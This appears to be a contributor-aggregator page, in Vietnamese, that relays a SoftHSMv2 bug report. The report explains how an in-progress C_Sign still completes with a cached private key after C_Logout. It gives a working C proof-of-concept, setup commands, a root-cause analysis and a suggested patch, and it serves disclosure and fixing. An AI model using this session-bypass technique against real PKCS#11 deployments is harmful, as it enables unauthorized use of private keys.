C_Sign succeeds after C_Logout (cached privateKey / no resetOp)
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 4/5
- Thời gian dự kiến
- 3-5 ngày
- Mức phù hợp với người mới
- 43/100
Hướng nghiên cứu
Start with SoftHSM::C_Logout in src/lib/SoftHSM.cpp and the session reset logic described in the issue. Trace how logout affects every session on the slot, then check the sign operation behavior from the repro. Done means an in-progress sign cannot succeed after logout; the issue expects CKR_OPERATION_NOT_INITIALIZED after resetting operations.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
Component: SoftHSMv2 PKCS#11 module
Seen on: 2.6.1 and current develop (f59e8f4, 2.7.0-26-gf59e8f4)
Severity: private-key use after logout (session ACL bypass)
Summary
C_SignInit on a private key while logged in as USER, followed by C_Logout, then C_Sign still returns CKR_OK and a valid signature. After logout the session is CKS_RW_PUBLIC_SESSION. Private-object handles are correctly invalidated, but the in-progress sign operation keeps a cached privateKey on the Session object.
Same pattern applies to C_SignUpdate / C_SignFinal.
Spec
PKCS#11 v2.40 §5.6 C_Logout:
- handles to private objects become invalid
- those handles stay invalid after a later re-login
- private session objects are destroyed
access.cpp haveRead also forbids private-object use in CKS_*_PUBLIC_SESSION and CKS_RW_SO_FUNCTIONS (CKR_USER_NOT_LOGGED_IN).
C_Sign never re-checks that table; it uses session->getPrivateKey().
Repro (unpatched tree)
Needs a token with an RSA private key. Distro SoftHSM 2.6.1 or a clean clone of this repo is enough. Do not use a tree that already has sessionManager->resetSlotOperations() in C_Logout.
1. Token
export SOFTHSM2_CONF=/tmp/softhsm-logout-repro.conf
mkdir -p /tmp/softhsm-logout-repro-tokens
cat > "$SOFTHSM2_CONF" <<EOF
directories.tokendir = /tmp/softhsm-logout-repro-tokens
objectstore.backend = file
log.level = ERROR
EOF
softhsm2-util --init-token --free --label logout-repro --so-pin 1234 --pin 1234
pkcs11-tool --module /usr/lib/softhsm/libsofthsm2.so \
--login --pin 1234 --keypairgen --key-type rsa:2048 --id 01 --label repro-rsa
Adjust --module if SoftHSM is installed elsewhere (libsofthsm2.so).
2. Program
Save as repro-sign-after-logout.c and build:
cc -O0 -g repro-sign-after-logout.c -ldl -o repro-sign-after-logout
./repro-sign-after-logout /usr/lib/softhsm/libsofthsm2.so 1234
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pkcs11.h> /* or SoftHSM's src/lib/pkcs11/pkcs11.h */
static CK_FUNCTION_LIST_PTR p11;
static void die(const char *m, CK_RV rv) {
fprintf(stderr, "%s: 0x%lx\n", m, (unsigned long)rv);
exit(2);
}
int main(int argc, char **argv) {
const char *mod = argc > 1 ? argv[1] : "/usr/lib/softhsm/libsofthsm2.so";
CK_UTF8CHAR_PTR pin = (CK_UTF8CHAR_PTR)(argc > 2 ? argv[2] : "1234");
CK_ULONG pin_len = (CK_ULONG)strlen((char *)pin);
CK_C_GetFunctionList get_fl;
CK_SLOT_ID slot, *slots;
CK_ULONG nslots = 0, count = 0, sig_len;
CK_SESSION_HANDLE sess;
CK_OBJECT_HANDLE key = CK_INVALID_HANDLE;
CK_OBJECT_CLASS cls = CKO_PRIVATE_KEY;
CK_BYTE id = 0x01, msg[] = "logout-repro", sig[512];
CK_ATTRIBUTE tmpl[] = {
{ CKA_CLASS, &cls, sizeof(cls) },
{ CKA_ID, &id, sizeof(id) },
};
CK_MECHANISM mech = { CKM_SHA256_RSA_PKCS, NULL_PTR, 0 };
CK_SESSION_INFO info;
CK_RV rv;
void *dl;
dl = dlopen(mod, RTLD_NOW | RTLD_GLOBAL);
if (!dl) { fprintf(stderr, "dlopen: %s\n", dlerror()); return 2; }
get_fl = (CK_C_GetFunctionList)dlsym(dl, "C_GetFunctionList");
if (!get_fl || get_fl(&p11) != CKR_OK) die("C_GetFunctionList", CKR_GENERAL_ERROR);
if ((rv = p11->C_Initialize(NULL_PTR)) != CKR_OK) die("C_Initialize", rv);
p11->C_GetSlotList(CK_TRUE, NULL_PTR, &nslots);
slots = calloc(nslots, sizeof(*slots));
p11->C_GetSlotList(CK_TRUE, slots, &nslots);
slot = slots[0];
free(slots);
if ((rv = p11->C_OpenSession(slot, CKF_SERIAL_SESSION | CKF_RW_SESSION,
NULL_PTR, NULL_PTR, &sess)) != CKR_OK)
die("C_OpenSession", rv);
if ((rv = p11->C_Login(sess, CKU_USER, pin, pin_len)) != CKR_OK)
die("C_Login", rv);
if ((rv = p11->C_FindObjectsInit(sess, tmpl, 2)) != CKR_OK) die("FindInit", rv);
p11->C_FindObjects(sess, &key, 1, &count);
p11->C_FindObjectsFinal(sess);
if (count != 1) die("no private key id=01", CKR_GENERAL_ERROR);
if ((rv = p11->C_SignInit(sess, &mech, key)) != CKR_OK) die("C_SignInit", rv);
if ((rv = p11->C_Logout(sess)) != CKR_OK) die("C_Logout", rv);
if ((rv = p11->C_GetSessionInfo(sess, &info)) != CKR_OK) die("C_GetSessionInfo", rv);
sig_len = sizeof(sig);
rv = p11->C_Sign(sess, msg, sizeof(msg) - 1, sig, &sig_len);
printf("after logout: state=0x%lx C_Sign=0x%lx sig_len=%lu\n",
(unsigned long)info.state, (unsigned long)rv, (unsigned long)sig_len);
/* Bug: rv == CKR_OK and state is CKS_RW_PUBLIC_SESSION (0x2). */
return (rv == CKR_OK) ? 1 : 0;
}
3. Actual vs expected
| Actual (bug) | Expected | |
|---|---|---|
C_GetSessionInfo after logout |
CKS_RW_PUBLIC_SESSION (0x2) |
same |
C_Sign |
CKR_OK (0x0), valid signature |
CKR_OPERATION_NOT_INITIALIZED or CKR_USER_NOT_LOGGED_IN |
C_SignInit again on the same handle |
CKR_OBJECT_HANDLE_INVALID (handles are invalidated) |
same |
Exit status 1 from the program means the bug is present.
Sanitizers do not fire. This is a PKCS#11 state bug, not memory corruption.
Root cause
C_Logout (src/lib/SoftHSM.cpp) invalidates private handles and destroys private session objects, but does not call Session::resetOp().
AsymSign (C_Sign) then uses session->getPrivateKey() and does not call haveRead().
Login is token-wide, so every session on the slot can still finish a sign that was initialized before logout.
// C_Logout today: token->logout(); handleManager->tokenLoggedOut(); sessionObjectStore->tokenLoggedOut();
// missing: resetOp() on all sessions for that slot
Suggested fix (optional)
Reset crypto state on every session of the slot in C_Logout:
void SessionManager::resetSlotOperations(CK_SLOT_ID slotID)
{
MutexLocker lock(sessionsMutex);
for (std::vector<Session*>::iterator i = sessions.begin(); i != sessions.end(); i++)
{
if (*i == NULL) continue;
if ((*i)->getSlot()->getSlotID() == slotID)
(*i)->resetOp();
}
}
Call it from SoftHSM::C_Logout after tokenLoggedOut. After that, C_Sign returns CKR_OPERATION_NOT_INITIALIZED.
- Ngôn ngữ chính
- C++
- Star
- 1.1k
- Fork
- 434
- Merge trung bình
- 12 ngày 14 giờ
- Pull request đã merge (30 ngày)
- 2
Chuẩn bị môi trường
Dự án này không cung cấp dev container, Dockerfile hay hướng dẫn đóng góp, nên bạn cần tự thiết lập môi trường: hãy bắt đầu từ README và xem hướng dẫn đóng góp lần đầu của chúng tôi để biết các bước chung.
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của softhsm/SoftHSMv2
-
C_DigestKey digests a sensitive EC private key's CKA_VALUE: no check that the object is a secret keyĐang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
-
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 54/100
-
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 56/100
Tất cả issue của softhsm/SoftHSMv2
Issue tương tự
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 66/100
ROCm/rocm-systems#15475 ·
Maintainer thường phản hồi trong vòng 2 ngày
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 68/100
Sendspin/sendspin-cpp#257 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
bug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 76/100
pocoproject/poco#5664 ·
Maintainer thường phản hồi trong vòng 2 ngày
-
community:good-first-issue kind:bug kind:test scope:control status:needs-triage vehicle:rover
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 85/100
PX4/PX4-Autopilot#29727 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
Maintainer thường phản hồi trong vòng 1 ngày